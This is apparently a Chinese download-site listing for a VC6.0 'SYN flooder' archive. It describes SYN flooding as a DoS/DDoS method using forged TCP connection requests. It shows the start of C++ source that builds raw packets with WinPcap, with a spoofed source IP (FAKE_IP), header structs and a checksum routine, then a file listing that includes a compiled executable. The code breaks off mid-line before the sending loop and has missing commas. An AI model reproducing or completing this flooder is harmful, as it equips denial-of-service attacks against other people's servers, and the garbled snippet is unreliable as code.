• 大小: 242KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-05-23
  • 语言: 其他
  • 标签: vc6.0  ;syn  flooder  

资源简介

SYN Flood是当前最盛行的DoS(拒尽服务进攻)与DDoS(散布式拒尽服务进攻)的方法之一,这是一种利用TCP协议缺点,发送大批伪造的TCP连接请求,从而使得被进攻方资源耗尽(CPU满负荷或内存不足)的进攻方法。

资源截图

代码片段和文件信息

// My_Self_SYN.cpp : Defines the entry point for the console application.
//

#include “stdafx.h“
#include “pcap.h“
#include “packet.h“
#include “iostream.h“
#include “time.h“
#pragma comment(lib“wpcap.lib“) 
#pragma comment(lib“WS2_32.lib“) 
#define FAKE_IP “172.18.47.108“ //伪装IP的起始值
#define SEQ 0x28376839


struct EthernetHeader
{
    u_char DestMAC[6];
    u_char SourMAC[6];
    u_short EthType;
};
struct IpHeader
{
    unsigned char Version_HLen;
    unsigned char TOS;
    short Length;
    short Ident;
    short Flags_Offset;
    unsigned char TTL;
    unsigned char Protocol;
    short Checksum;
    unsigned int SourceAddr;
    unsigned int DestinationAddr;
};
struct PsdTcpHeader
{
    unsigned long SourceAddr;
    unsigned long DestinationAddr;
    char Zero;
    char Protcol;
    unsigned short TcpLen;
};
struct TcpHeader
{
    unsigned short SrcPort;
    unsigned short DstPort;
    unsigned int SequenceNum;
    unsigned int Acknowledgment;
    unsigned char HdrLen;
    unsigned char Flags;
    unsigned short AdvertisedWindow;
    unsigned short Checksum;
    unsigned short UrgPtr;
};
unsigned short checksum(unsigned short *data int length)
{
    unsigned long temp = 0;
    while (length > 1)
    {
        temp +=  *data++;
        length -= sizeof(unsigned short);
    }
    if (length)
    {
        temp += *(unsigned short*)data;
    }
    temp = (temp >> 16) + (temp &0xffff);
    temp += (temp >> 16);
    return (unsigned short)(~temp);
}


int  main()
{

struct EthernetHeader ethernet;
    struct IpHeader ip;
    struct TcpHeader tcp;
    struct PsdTcpHeader ptcp;
    int Result;
    unsigned char SendBuffer[200];
    char TcpData[] = “Tcp Data Test.“;
    pcap_if_t *NetwokDevice;
    pcap_t *WinpcapHandle;
    pcap_if_t *Device;
    char WinpcapError[PCAP_ERRBUF_SIZE];
    int DeviceIndex = 0;
    char DeviceName[100][1000];
    int i;
    Result = pcap_findalldevs(&NetwokDevice WinpcapError);
    if (Result ==  - 1)
    {
        printf(“pcap_findalldevs Error“);
        return 0;
    } for (Device = NetwokDevice i = 0; Device && i < 10; Device = Device->next i++)
    {
        printf(“Number %d:“ i);
        printf(“%s:“ Device->name);
        printf(“%s\n“ Device->description);
        sprintf(DeviceName[i] “%s“ Device->name);
    }
    for (;;)
    {
        printf(“Please Choose the Device Number:(0-%d)“ i - 1);
        scanf(“%d“ &DeviceIndex);
        if (DeviceIndex > i - 1 || DeviceIndex < 0)
        {
            printf(“Device Number Error\n“);
            continue;
        }
        else
            break;
    }
    WinpcapHandle = pcap_open_live(LPCTSTR(DeviceName[DeviceIndex]) 65535 1 1000 WinpcapError);
    if (WinpcapHandle == NULL)
    {
        printf(“pcap_open_live error“);
        pcap_freealldevs(NetwokDevice);
        return 0;
    }


    int SendSEQ=0;
int FakeIpNet=inet_

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件     184387  2010-12-07 12:46  My_Self_SYN\Debug\My_Self_SYN.exe

     文件     201248  2010-12-07 12:46  My_Self_SYN\Debug\My_Self_SYN.ilk

     文件      33757  2010-12-07 12:46  My_Self_SYN\Debug\My_Self_SYN.obj

     文件     203764  2010-12-03 14:30  My_Self_SYN\Debug\My_Self_SYN.pch

     文件     459776  2010-12-07 12:46  My_Self_SYN\Debug\My_Self_SYN.pdb

     文件       1973  2010-12-03 14:30  My_Self_SYN\Debug\StdAfx.obj

     文件     107520  2010-12-07 12:46  My_Self_SYN\Debug\vc60.idb

     文件     143360  2010-12-07 12:46  My_Self_SYN\Debug\vc60.pdb

     文件       7902  2010-12-07 12:46  My_Self_SYN\My_Self_SYN.cpp

     文件       4628  2010-12-03 13:00  My_Self_SYN\My_Self_SYN.dsp

     文件        547  2010-12-02 22:47  My_Self_SYN\My_Self_SYN.dsw

     文件      50176  2010-12-07 12:46  My_Self_SYN\My_Self_SYN.ncb

     文件      48640  2010-12-07 12:46  My_Self_SYN\My_Self_SYN.opt

     文件        944  2010-12-07 12:46  My_Self_SYN\My_Self_SYN.plg

     文件       1238  2010-12-02 22:20  My_Self_SYN\ReadMe.txt

     文件        298  2010-12-02 22:20  My_Self_SYN\StdAfx.cpp

     文件        769  2010-12-02 22:20  My_Self_SYN\StdAfx.h

     目录          0  2010-12-07 12:46  My_Self_SYN\Debug

     目录          0  2010-12-07 12:46  My_Self_SYN

----------- ---------  ---------- -----  ----

              1450927                    19


评论

共有 条评论